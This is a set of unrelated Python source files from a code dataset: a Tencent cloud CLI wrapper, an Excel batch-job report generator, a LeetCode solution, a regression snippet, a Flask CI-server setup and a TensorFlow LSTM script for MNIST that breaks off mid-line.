new_param_key)\n raise\n else:\n logger.debug('some new_param_keys(%s) already be added in param_keys(%s).',\n new_param_keys, param_keys)\n\n # extra translated params\n for param_key, extra_new_param_keys in extra_new_param_keys.items():\n kw = {}\n kw['help'] = 'translated param -> %s' % param_key\n if any(param_key.endswith(suffix) for suffix in BS_PLURAL_SUFFIX):\n kw['nargs'] = '*'\n for extra_new_param_key in extra_new_param_keys:\n if extra_new_param_key not in (param_keys | translate_added_param_keys):\n try:\n action_parser.add_argument('--%s' % extra_new_param_key, **kw)\n logger.debug('add extra_new_param_key: %s', extra_new_param_key)\n except Exception:\n logger.error('param_keys: %s, translate_added_param_keys: %s, extra_new_param_key: %s',\n param_keys, translate_added_param_keys, extra_new_param_key)\n raise\n\n action_parser.set_defaults(translate_param_keys=translate_param_keys)\n\n\ndef _str(i):\n s = None\n try:\n s = str(i)\n except UnicodeEncodeError:\n s = str(i.encode('utf-8'))\n return s\n\n\ndef output_simplify(args, output):\n try:\n ret = json.loads(output)\n except ValueError:\n logger.error('output: %s', output)\n raise\n code = ret.get('code')\n if code != 0:\n logger.warn('response code non-zero')\n return False, ret\n\n data = ret.get('data')\n # FIXME: some api output no \"data\" dict key\n if not data:\n _ret = {k: v for k, v in ret.items() if k.endswith('Set')}\n if _ret:\n data = _ret\n attrs = set(args.attrs + (args.extra_attrs or []))\n\n def _simplify(data):\n if isinstance(data, list):\n data = [_simplify(i) for i in data]\n if not args.json:\n data = '\\n'.join(sorted(_str(i) for i in data))\n elif isinstance(data, dict):\n is_leaf = False\n # NOTE: rough leaf determination\n if not any(isinstance(v, (dict,)) for k, v in data.items()):\n is_leaf = True\n if any(isinstance(i, (dict,)) for k, v in data.items() if isinstance(v, list) for i in v):\n is_leaf = False\n data = {k: _simplify(v) for k, v in data.items() if not is_leaf or k in attrs} or data\n if not args.json:\n if is_leaf:\n data = args.sep.join([_str(v) for k, v in data.items()])\n else:\n data = '\\n'.join([('%s' if idx % 2 else '>> %s') % _str(i) for p in data.items() for idx, i in enumerate(p)])\n return data\n\n return True, _simplify(data)\n\n\n# TODO: support direct API call\ndef _execute(mod_suffix, action, params):\n logger.debug('call _execute(%s, %s, %s)', mod_suffix, action, params)\n\n mapping = action_mapping[mod_suffix if mod_suffix.lstrip('bm') else 'device']\n if action in mapping:\n action = mapping[action]\n\n if isinstance(params, dict):\n params = params.items()\n params = ' '.join(['--\"%s\" \"%s\"' % (k, v) for k, v in params if v is not None])\n cmd = BS_CMD_PATTERN.format(module=mod_suffix,\n action=action,\n params=params)\n logger.info('CMD: %s', cmd)\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n if p.returncode != 0 or stderr:\n logger.error('CMD ERROR: %s', stderr)\n return stdout\n\n\ndef get_data_for_reduce(mod_suffix, action, params):\n # HACK: eip list need eips, but we got eip, so we translate it here\n if (mod_suffix, action) == ('bmeip', 'list'):\n if PARAM_MAPPING['eips'][0][0] in params.keys():\n params.update({'eips': list2json(\n {'eips': [params['eip']]}\n )})\n\n output = _execute(mod_suffix, action, params)\n data = json.loads(output).get('data', {})\n logger.debug('get_data_for_reduce: data: %s, params: %s', data, params)\n return data, params\n\n\ndef execute(args):\n params = [(k, getattr(args, k)) for k in args.param_keys if getattr(args, k) is not None]\n for k in args.param_keys:\n if k in PARAM_MAPPING and k in args.translate_param_keys and getattr(args, k) is None:\n logger.debug('%s should be translated to %s', k, PARAM_MAPPING[k][0])\n translated_param = translate_param(args, k)\n if translated_param is not None:\n params.append((k, translated_param))\n logger.debug('translated success: %s -> %s=%s', PARAM_MAPPING[k][0], k, translated_param)\n\n output = _execute(args.mod_suffix, action=args.orig_action, params=params)\n if args.raw:\n return True, output\n return output_simplify(args, output)\n\n\ndef device(args):\n \"\"\" bm device \"\"\"\n ret, output = execute(args)\n if output:\n if args.json or ret is False:\n jprint(output)\n else:\n print(output)\n\n\ncvm = bmeip = bmlb = bmvpc = device\n\n\ndef main():\n \"\"\"\n e.g.\n\n API DOC: https://cloud.tencent.com/document/api/386/6632\n\n $ sa-bs device list -j\n $ sa-bs device list -a alias\n $ sa-bs device list --alias host\n $ sa-bs vpc list -e createTime vpcId\n $ sa-bs vpc subnet\n $ sa-bs vpc subnet_ips --vpcId 1001 --subnetId 6555 -j\n $ sa-bs vpc subnet_ips --subnetName SA\n $ sa-bs vpc subnet_by_cpm_id --alias host22\n $ sa-bs eip list -a eip\n $ sa-bs lb list\n $ sa-bs -vvvv eip list --eipIds '[\\\\\"eip-xxxxxxxx\\\\\"]' -r\n $ sa-bs eip list --eip 1.1.1.1\n $ sa-bs vpc register_batch_ip --subnetName SA --ip 10.0.0.1\n $ sa-bs eip apply\n $ sa-bs eip bind_vpc_ip --eip 1.1.1.1 --vpcIp 10.0.0.1\n $ sa-bs vpc create_interface --alias host11 host22 --subnetName DBA-dummy\n $ sa-bs device reload_os --passwd XXXXXX --subnetName OfflineComputation --alias host88\n $ sa-bs device modify_alias --alias host33 --instanceId cpm-xxxxxxxx\n $ sa-bs -vvvv vpc create_subnet --subnetName Isolation-dummy --cidrBlock 10.0.1.0/24 --vlanId 2222\n\n ## 机型组合\n $ sa-bs device list -e deviceClassCode\n $ sa-bs device os --deviceClassCode Y0-BS09v2 -a osNameDisplay osTypeId\n $ sa-bs device class_partition --cpuId 4 --diskNum1 2 --diskNum2 12 --diskTypeId1 1 --diskTypeId2 6 --haveRaidCard 0 --mem 64 --deviceClassCode \"Y0-BS09v2\"\n $ sa-bs device class_partition --cpuId 4 --diskNum1 2 --diskNum2 12 --diskTypeId1 1 --diskTypeId2 6 --haveRaidCard 0 --mem 64\n $ sa-bs device elastic_price --cpuId 4 --diskNum1 2 --diskNum2 12 --diskTypeId1 1 --diskTypeId2 6 --haveRaidCard 0 --mem 64\n $ sa-bs device inventory --cpuId 4 --diskNum1 2 --diskNum2 12 --diskTypeId1 1 --diskTypeId2 6 --haveRaidCard 0 --mem 64 --deviceClassCode \"Y0-BS09v2\" --subnetName OfflineComputation\n $ sa-bs device hardware_info --alias host11\n $ sa-bs device hardware_specification\n\n ### 购买机器 ( see https://cloud.tencent.com/document/api/386/6638 )\n $ sa-bs device buy --goodsNum 2 --timeSpan 1 --timeUnit m --alias new_host \\\n --subnetName SA --ip 10.0.0.2 10.0.0.3 \\\n --cpuId 4 --diskNum1 2 --diskNum2 12 --diskTypeId1 1 --diskTypeId2 6 --haveRaidCard 0 --mem 64 \\\n --raidId 25 \\\n --deviceClassCode \"Y0-BS09v2\" --needSecurityAgent 0 --needMonitorAgent 0 --autoRenewFlag 1\n $ sa-bs device deploy_process --instanceId cpm-xxxxxxxx\n $ sa-bs device deploy_process --alias host11\n $ sa-bs device operation_log --alias host22\n\n ## CVM\n\n $ sa-bs cvm instances\n\n \"\"\" # NOQA\n parser = argparse.ArgumentParser(epilog=main.__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('-u', '--user', help='LDAP username, use your OS user name by default.')\n parser.add_argument('-v', '--verbose', action='count', default=0, help='verbose.')\n\n # compatible with py2 & 3\n subparsers = parser.add_subparsers(help='Sub commands', dest='subparser')\n subparsers.required = True\n\n # level = logging.DEBUG\n # logging.basicConfig(level=level,\n # format='%(asctime)s %(name)s %(levelname)s %(message)s')\n\n device_parser = subparsers.add_parser('device', help='')\n populate_subparser(device_parser, mod_suffix='bm')\n device_parser.set_defaults(func=device)\n\n eip_parser = subparsers.add_parser('eip', help='')\n populate_subparser(eip_parser, mod_suffix='bmEip')\n eip_parser.set_defaults(func=bmeip)\n\n lb_parser = subparsers.add_parser('lb', help='')\n populate_subparser(lb_parser, mod_suffix='bmLb')\n lb_parser.set_defaults(func=bmlb)\n\n vpc_parser = subparsers.add_parser('vpc', help='')\n populate_subparser(vpc_parser, mod_suffix='bmVpc')\n vpc_parser.set_defaults(func=bmvpc)\n\n cvm_parser = subparsers.add_parser('cvm', help='')\n populate_subparser(cvm_parser, mod_suffix='Cvm')\n cvm_parser.set_defaults(func=cvm)\n\n args = parser.parse_args()\n args.user = args.user or get_os_username()\n\n level = logging.WARNING - args.verbose * 10\n logging.basicConfig(level=level,\n format='%(asctime)s %(name)s %(levelname)s %(message)s')\n\n sys.exit(args.func(args))\n","sub_path":"sa_tools_core/bs.py","file_name":"bs.py","file_ext":"py","file_size_in_byte":18494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"125311686","text":"#!/usr/bin/env python3.6\n\n###################################\n# IMPORTACAO DE LIBRARIES\n###################################\nimport xlsxwriter\nimport datetime\nimport calendar\nimport time\n\n###################################\n# CRIA A DATA DO ARQUIVO\n###################################\ncurdateout = datetime.datetime.today().strftime('%y%m%d')\n\n###################################\n# CRIANDO A PLANILHA EXCEL\n###################################\n( 'ctm_jobs_'+curdateout+'.csv', 'a' )\nworkbook = xlsxwriter.Workbook('Bitacora'+curdateout+'.xlsx')\n\n###################################\n# RENOMEIA ABA DO MES CORRENTE\n###################################\nnow = (datetime.datetime.now())\nyear = (now.year)\n#print (\"MES : {}\".format(now.month))\ncalmon = now.month - 1\n#print (\"MES : {}\".format(calmon))\nnmonths=[\"Janeiro\",\"Fevereiro\",\"Marco\",\"Abril\",\"Maio\",\"Junho\",\"Julho\",\"Agosto\",\"Setembro\",\"Outubro\",\"Novembro\",\"Dezembro\"]\ncurmonth = (nmonths[calmon])\n\nworksheet = workbook.add_worksheet(curmonth+' '+str(year))\nworksheet.hide_gridlines(2)\nworksheet.set_zoom(80)\n\n###################################\n# FORMATANDO O TAMANHO DA COLUNA\n###################################\nworksheet.set_column('A:A', 1)\nworksheet.set_column('B:B', 7)\nworksheet.set_column('C:C', 73)\nworksheet.set_column('D:D', 8)\nworksheet.set_column('E:E', 8)\nworksheet.set_column('F:F', 10)\nworksheet.set_column('G:ZZ', 6)\n\n###################################\n# FORMATANDO O TAMANHO DA LINHA\n###################################\nworksheet.set_row(0, 55)\nworksheet.set_row(1, 17)\n\n###################################\n# DADOS DO CABECALHO E APLIC FORMAT\n###################################\nmerge_prim = workbook.add_format({\n 'bold': True,\n 'text_wrap': True,\n 'font_name': 'Calibri',\n 'font_size': 14,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'fg_color': 'white'\n})\nworksheet.merge_range('B1:C2', 'Acompanhamento Diario Processamento Batch - Producao', merge_prim)\n\nmerge_fixos = workbook.add_format({\n 'bold': True,\n 'text_wrap': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'fg_color': '#FFDAB9'\n #'fg_color': '#D7E4BC'\n})\nworksheet.merge_range('D1:D2', 'Horario Inicio', merge_fixos)\nworksheet.merge_range('E1:E2', 'Meta Negocio', merge_fixos)\nworksheet.merge_range('F1:F2', 'Max Elapsed Time', merge_fixos)\n\n\n###################################\n# DADOS DA LEGENDA\n###################################\nleg_prim = workbook.add_format({\n 'bold': True,\n 'text_wrap': True,\n 'font_name': 'Calibri',\n 'font_size': 14,\n 'border': 2,\n 'align': 'center',\n 'valign': 'vcenter',\n 'fg_color': 'white'\n})\n\nleg_cinza = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'fg_color': '#C0C0C0'\n})\n\nleg_azcla = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'fg_color': '#ADD8E6'\n})\n\nleg_azesc = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'fg_color': '#4682B4'\n})\n\nleg_verde = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'fg_color': 'green'\n})\n\nleg_verme = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'fg_color': 'red'\n})\n\nvazio=''\nworksheet.merge_range('B78:D78', ' *********** L E G E N D A *********** ', leg_prim)\nworksheet.write(79,1,vazio,leg_cinza)\nworksheet.write(79,2,'Job nao executa nesta data')\n\nworksheet.write(81,1,vazio,leg_azcla)\nworksheet.write(81,2,'Job finalizado dentro do Programado (Atendimento da meta em mais de uma hora.)')\n\nworksheet.write(83,1,vazio,leg_azesc)\nworksheet.write(83,2,'Job finalizado dentro do Programado (Atendimento da meta em ate uma hora.)')\n\nworksheet.write(85,1,vazio,leg_verde)\nworksheet.write(85,2,'Job nao executado devido a Mudanca ou Solicitacao de Servico.')\n\nworksheet.write(87,1,vazio,leg_verme)\nworksheet.write(87,2,'Job fora da Meta de Horario de Entrega.')\n\n###################################\n# FORMATANDO OS GRUPOS DOS JOBS\n###################################\nmerge_canto1 = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'rotation': 90,\n 'valign': 'vcenter',\n 'fg_color': '#F0E68C'\n})\n\nmerge_canto2 = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'rotation': 90,\n 'valign': 'vcenter',\n 'fg_color': '#C0C0C0'\n})\n\n\n\nworksheet.merge_range('B3:B8', 'SCC', merge_canto1)\nworksheet.merge_range('B9:B26', 'PCR', merge_canto2)\nworksheet.merge_range('B27:B38', 'C3M', merge_canto1)\nworksheet.merge_range('B39:B47', 'CTC', merge_canto2)\nworksheet.merge_range('B48:B58', 'SCG', merge_canto1)\nworksheet.merge_range('B59:B62', 'STD', merge_canto2)\nworksheet.merge_range('B63:B64', 'CQL', merge_canto1)\nworksheet.merge_range('B65:B75', 'SLC', merge_canto2)\n\n###################################\n# CRIANDO OS DADOS DA PLANILHA\n###################################\nproducao = (\n['CIP_SCC_SEND_VARREDURA_ASCC010','00:30','05:59','05:29:00'],\n['CIP_SCC_SEND_VARREDURA_SERVMARG','00:45','05:59','01:11:00'],\n['CIP_SCC_SEND_VARREDURA_ASCC029','00:47','05:59','01:11:00'],\n['CIP_SCC_SEND_VARREDURA_ASCC002','22:13','05:59','01:11:00'],\n['CIP_SCC_SEND_VARREDURA_ASCC032','22:00','05:59','07:59:00'],\n['CIP_SCC_GERA_DATA_REFERENCIA','04:00','05:59','01:59:00'],\n['CIP_NPC_GERAR_DATA_REFERENCIA','05:50','06:00','00:10:00'],\n['CIP_NPC_ENVIA1_GRADE_PROC_402','05:50','06:00','00:10:00'],\n['CIP_NPC_VARRED_DDA0400_INFORMA_DTREF','05:50','06:00','00:10:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA120','06:03','10:00','03:57:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA117','07:00','10:00','03:00:00'],\n['CIP_NPC_TARIFACAO','16:00','18:00','02:00:00'],\n['CIP_NPC_GERAR_ARQUIVO_RCO','06:10','09:30','03:20:00'],\n['CIP_NPC_ENVIA_ARQUIVO_RCO','06:10','10:00','03:50:00'],\n['CIP_NPC_SEND_VARREDURA_CDDA504_14h00','14:00','18:00','04:00:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA504_16h00','16:00','20:00','04:00:00'],\n['CIP_NPC_INTEGRACAO_SIFAT_ENVIA_ADDAFAT','16:00','20:00','04:00:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA003(Ciclico das 06h30)','06:30','09:00','02:30:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA003(Ciclico das 17h)','17:00','20:00','03:00:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA003(Ciclico das 20h)','20:00','23:00','03:00:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA003(Ciclico das 23h)','23:00','02:00','03:00:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA200_DOM','18:00','23:00','05:00:00'],\n['CIP_NPC_DTREF_CALCULO','22:00','22:10','00:10:00'],\n['CIP_NPC_SEND_VARREDURA_ADDA200_22h30m','22:30','23:30','01:00:00'],\n['CIP_C3M_GERAR_DATA_REFERENCIA','05:00','05:59','00:59:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC038','04:00','05:49','01:49:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC301_16h','16:00','19:59','03:59:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC304_16h','16:00','19:59','03:59:00'],\n['CIP_C3M_SEND_VARREDURA_CANCOPS','20:00','05:49','09:49:00'],\n['CIP_C3M_ENVIA_VARREDURA_ACCC800','21:00','05:49','08:49:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC301_21h','21:00','05:49','08:49:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC304_21h','21:00','05:49','08:49:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC306_21h','21:00','05:49','08:49:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC801_21h','21:00','05:49','01:11:00'],\n['CIP_C3M_SEND_VARREDURA_ACCC801','22:00','05:49','07:49:00'],\n['CIP_C3M_SEND_VARREDURA_V_EXPOOFP','23:30','05:59','06:29:00'],\n['CIP_CTC_GERAR_DATA_REFERENCIA','04:00','04:59','00:59:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC924_SOLICTC','15:00','23:59','08:59:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC921_SOLICTC','19:00','20:00','01:00:00'],\n['CIP_CTC_SEND_VARREDURA_DECPRZ','19:00','19:50','00:50:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC926_II','21:00','23:59','02:59:00'],\n['CIP_CTC_GERA_ARQUIVO_TARIFACAO','23:59','04:59','05:00:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC901','18:30','04:59','10:29:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC921','00:00','04:59','04:59:00'],\n['CIP_CTC_SEND_VARREDURA_ACTC922','19:00','04:59','09:59:00'],\n['CIP_SCG_BAIXA_DECURSO_PRAZO_AGENDA','00:01','00:50','00:49:00'],\n['CIP_SCG_BAIXA_ANTECIPACAO_AGENDA','05:00','06:00','01:00:00'],\n['CIP_SCG_SEND_VARREDURA_ASCG004_AGENDA','15:00','15:30','00:30:00'],\n['CIP_SCG_SEND_VARREDURA_ASCG008_AGENDA','15:00','15:30','00:30:00'],\n['CIP_SCG_SEND_VARREDURA_ASCG020_AGENDA','15:00','15:30','00:30:00'],\n['CIP_SCG_SEND_VARREDURA_ASCG002_AGENDA','19:00','23:29','04:29:00'],\n['CIP_SCG_SEND_VARREDURA_ASCG009_AGENDA','19:00','23:29','04:29:00'],\n['CIP_SCG_ENVIA_CD_SCG_AGENDA_FATURAMENTO_MENSAL','20:00','23:29','03:29:00'],\n['CIP_SCG_EXPORT_SCG_AGENDA_FATURAMENTO_MENSAL','20:00','23:29','03:29:00'],\n['CIP_SCG_GERAR_DATA_REFERENCIA_AGENDA','23:30','00:30','01:00:00'],\n['CIP_SCG_UPDATE_GRADE_EVENTUAL','23:30','05:50','06:20:00'],\n['CIP_SEC_NFP_ALTERAR_DATA_REFERENCIA','04:00','05:59','01:59:00'],\n['CIP_SEC_NFP_GERAR_ARQUIVO_TARIFACAO','04:00','05:59','01:59:00'],\n['CIP_STD_TARIFACAO','04:00','04:59','00:59:00'],\n['CIP_STD_ALTERAR_DATA_REFERENCIA','04:00','04:59','00:59:00'],\n['CIP_CQL_GERAR_DATA_REFERENCIA','00:00','03:59','03:59:00'],\n['CIP_SEND_VARREDURA_ACQL001_22h00m','22:00','03:59','05:59:00'],\n['CIP_SLC_VARREDURA_V_ASLC510_ENVIAR','04:30','05:29','00:59:00'],\n['CIP_SLC_VARREDURA_V_ASLC520_CICLO01','05:05','05:29','00:24:00'],\n['CIP_SLC_VARREDURA_V_ASLC510_DEV','10:10','10:59','00:49:00'],\n['CIP_SLC_VARREDURA_V_ASLC510_ENVIAR_DEV','10:11','10:59','01:11:00'],\n['CIP_SLC_VARREDURA_V_ASLC520_CICLO02','10:10','10:59','00:49:00'],\n['CIP_SLC_VARREDURA_V_ASLC520_DEV','10:10','10:59','01:11:00'],\n['CIP_SLC_VARREDURA_V_DEPRAZO','20:00','21:00','01:00:00'],\n['CIP_SLC_VARREDURA_V_ASLC510','20:00','21:15','01:11:00'],\n['CIP_SLC_GERA_DATA_REFERENCIA','23:30','23:35','00:05:00'],\n['CIP_SLC_FATURAMENTO','23:59','01:00','01:01:00'],\n['CIP_SLC_ENVIA_CIP_FATURAMENTO_MENSAL','01:00','01:10','01:11:00'],\n)\n\n############################################\n# INSERINDO INFORMACAO NAS COLUNAS e LINHAS\n############################################\njobs_format = workbook.add_format({\n 'border': 1,\n 'align': 'left',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n})\n\nhrini_format = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n})\n\nmeta_format = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'font_color': 'red'\n})\n\netime_format = workbook.add_format({\n 'bold': True,\n 'border': 1,\n 'align': 'center',\n 'valign': 'vcenter',\n 'font_name': 'Calibri',\n 'font_size': 12,\n 'font_color': 'red'\n})\n\n\nhoje = datetime.datetime.today().day\nhojev = hoje + 3\nrow = 2\ncol = 2\ncolvazio = 4\ncoldado = 5\nciclico = 0\n\n# Iterate over the data and write it out row by row.\nfor job, hrini, meta, etime in (producao):\n worksheet.write(row, col, job, jobs_format)\n worksheet.write(row, col + 1, hrini, hrini_format)\n worksheet.write(row, col + 2, meta, meta_format)\n worksheet.write(row, col + 3, etime, etime_format)\n row += 1\n###################################\n# FECHANDO A PLANILHA\n###################################\nworkbook.close()\n","sub_path":"cip_bit_ctm_stp02_Day01.py","file_name":"cip_bit_ctm_stp02_Day01.py","file_ext":"py","file_size_in_byte":11541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"61962352","text":"#Link: https://leetcode.com/problems/the-k-weakest-rows-in-a-matrix/\n\nclass Solution:\n def kWeakestRows(self, mat: List[List[int]], k: int) -> List[int]:\n result = list()\n rows = list()\n for i,row in enumerate(mat):\n rows.append((sum(row), i))\n rows.sort()\n for i in range(k):\n result.append(rows[i][1])\n return result\n","sub_path":"LeetCode/1337.py","file_name":"1337.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"521906405","text":"\"\"\"\nhttp://scikit-learn.org/stable/auto_examples/linear_model/plot_ols.html\n\"\"\"\n\nfrom sklearn import linear_model\n\nregr = linear_model.LinearRegression()\n\n# regress y on x\n# x, y are (L, 1) numpy vector\nregr.fit(tau_x, tau_y)\n\n# compute the residual\nresi_x2y = tau_y - regr.predict(tau_x)\n\n# compute the mean squred error\nMSE = np.mean( (tau_y - regr.predict(tau_x))**2 )\n\n# get the value of slope\nslope = regr.coef_","sub_path":"regr/least square.py","file_name":"least square.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"4748798","text":"\"\"\" Artisan CI server implementation using Flask, Redis, and a database backend.\nAlso happens to power `https://artisan.ci` with some additions for documentation. \"\"\"\n\ntry:\n from flask import Flask, session, render_template\n from flask_sqlalchemy import SQLAlchemy\n from flask_redis import FlaskRedis\n import redis\n import jinja2\nexcept ImportError:\n raise ImportError('Could not import all required modules for `artisanci.server`. '\n 'Did you not install using `python -m pip install artisanci[server]`?')\n\nimport logging\nimport os\nimport sys\n\n\ndef init_app():\n \"\"\" Creates the Artisan CI Flask application from environment variables. \"\"\"\n app = Flask(__name__, template_folder=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'))\n\n # Setting up server logging\n log_handler = logging.StreamHandler(sys.stdout)\n log_handler.setFormatter(logging.Formatter('%(asctime)-15s - %(levelname)s - %(message)s'))\n app.logger.addHandler(log_handler)\n app.logger.info('Setting up Artisan CI server instance.')\n\n # OAuth Applications\n if 'GITHUB_OAUTH_CLIENT_ID' in os.environ and 'GITHUB_OAUTH_CLIENT_SECRET' in os.environ:\n app.logger.info('GitHub OAuth authentication active.')\n else:\n app.logger.warning('GitHub OAuth authentication not active.')\n if 'GITLAB_OAUTH_CLIENT_ID' in os.environ and 'GITLAB_OAUTH_CLIENT_SECRET' in os.environ:\n app.logger.info('GitLab OAuth authentication active.')\n else:\n app.logger.warning('GitLab OAuth authentication not active.')\n\n if 'SQLALCHEMY_DATABASE_URI' in os.environ:\n app.logger.info('SQLAlchemy using database at `%s`' % os.environ['SQLALCHEMY_DATABASE_URI'])\n app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['SQLALCHEMY_DATABASE_URI']\n else:\n app.logger.warning('SQLAlchemy is using a temporary SQLite database.')\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///:memory:'\n\n app.config['SECRET_KEY'] = os.environ['SECRET_KEY']\n\n # Disable `SQLALCHEMY_TRACK_MODIFICATIONS` because it's very slow.\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n return app\n\n\napp = init_app()\ndb = SQLAlchemy(app)\nFlaskRedis()\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('parent.html')\n\nfrom artisanci.server.mod_login.controllers import mod_login as login_module\nfrom artisanci.server.mod_project.controllers import mod_project as project_module\n\napp.register_blueprint(login_module)\napp.register_blueprint(project_module)\n\ndb.create_all()\n\n","sub_path":"artisanci/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"307024523","text":"import tensorflow as tf\nfrom tensorflow.contrib import rnn\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nimport random\nimport csv\n\nbatch_size = 50\nmax_iters = 10\nlearning_rate = 1e-5\n# 0.01 originally\n\ndef binarize(images, threshold=0.1):\n return (threshold < images).astype('float32')\n\ndef getLinearLayer(X, dimIN, dimOUT):\n w = tf.Variable(tf.random_normal((dimIN,dimOUT), stddev = 0.01))\n b = tf.Variable(tf.random_normal((1,dimOUT) , stddev = 0.01))\n probY = tf.matmul(X,w)+b\n return probY\n\ndef getHiddenLayer(X, dimIN, dimOUT):\n # ReLU hidden layer\n w_h = tf.Variable(tf.random_normal([dimIN, dimOUT], stddev=0.01))\n b_h = tf.Variable(tf.random_normal([1, dimOUT], stddev=0.01))\n h = tf.nn.relu(tf.matmul(X, w_h)+b_h)\n output = h\n return output\n\n\ndef getLSTM(X, nunits):\n lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(nunits, forget_bias=1.0)\n outputs, state = tf.nn.dynamic_rnn(lstm_cell, X, dtype=tf.float32)\n final_outputs = outputs[:, -1, :]\n\n print(\"X shape\", X.get_shape())\n print(\"Outputs shape\", outputs.get_shape())\n print(\"State shape\", state)\n print(\"Final outputs shape\", final_outputs.get_shape())\n\n return final_outputs\n\n\ndef getModel(X, dimIN, dimOUT):\n n_lstm_units = 128\n n_hidden_units = 100\n\n # RNN layer\n lstm_outputs = getLSTM(X, n_lstm_units)\n print(\"1. lstm outputs shape\", lstm_outputs.get_shape())\n\n # 100 unit hidden layer with ReLu\n hidden_outputs = getHiddenLayer(lstm_outputs, n_lstm_units, n_hidden_units)\n print(\"2. hidden outputs shape\", hidden_outputs.get_shape())\n\n # linear layer to produce 10 class output\n scoreY = getLinearLayer(hidden_outputs, n_hidden_units, dimOUT)\n print(\"3. scoreY shape\", scoreY.get_shape())\n\n return scoreY\n\n\n\ndef main():\n\n print (\"Loading the data......\")\n mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot = True)\n\n ntraindata = 20000\n ntestdata = 10000\n dimX = 784\n dimY = 10\n\n trainX, trainY, testX, testY = mnist.train.images[0:ntraindata], mnist.train.labels[0:ntraindata], \\\n mnist.test.images[0:ntestdata], mnist.test.labels[0:ntestdata]\n\n trainX = binarize(trainX)\n testX = binarize(testX)\n print(\"Converted to binary\")\n\n (nrTrainSamples, dimX) = trainX.shape\n (nrTestSamples, dimY) = testY.shape\n\n print (\"Nr of training samples:\", nrTrainSamples)\n print (\"Nr of testing samples:\", nrTestSamples)\n print (\"Dimension of X:\", dimX)\n print (\"Dimension of Y:\", dimY)\n\n print(\"Reshaping\")\n# trainXreshape = np.reshape(trainX, (nrTrainSamples, dimX, 1))\n# testXreshape = np.reshape(testX, (nrTestSamples, dimX, 1))\n trainXreshape = np.reshape(trainX, (nrTrainSamples, 784, 1))\n testXreshape = np.reshape(testX, (nrTestSamples, 784, 1))\n\n print(\"Original\", trainX.shape)\n print(\"Reshaped\", trainXreshape.shape)\n\n\n\n # Build Model\n #X = tf.placeholder(\"float\", [None, dimX, 1])\n #X = tf.placeholder(\"float\", [None, 784, 1])\n #Y = tf.placeholder(\"float\", [None, dimY])\n X = tf.placeholder(\"float\", [batch_size, 784, 1])\n Y = tf.placeholder(\"float\", [batch_size, dimY])\n\n modelscores = getModel(X, dimX, dimY)\n loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(modelscores, Y))\n\n predict_op = tf.argmax(modelscores, 1)\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(Y,1), predict_op), tf.float32))\n\n # Train model\n #train_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss)\n train_op = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(loss)\n\n\n with tf.Session() as 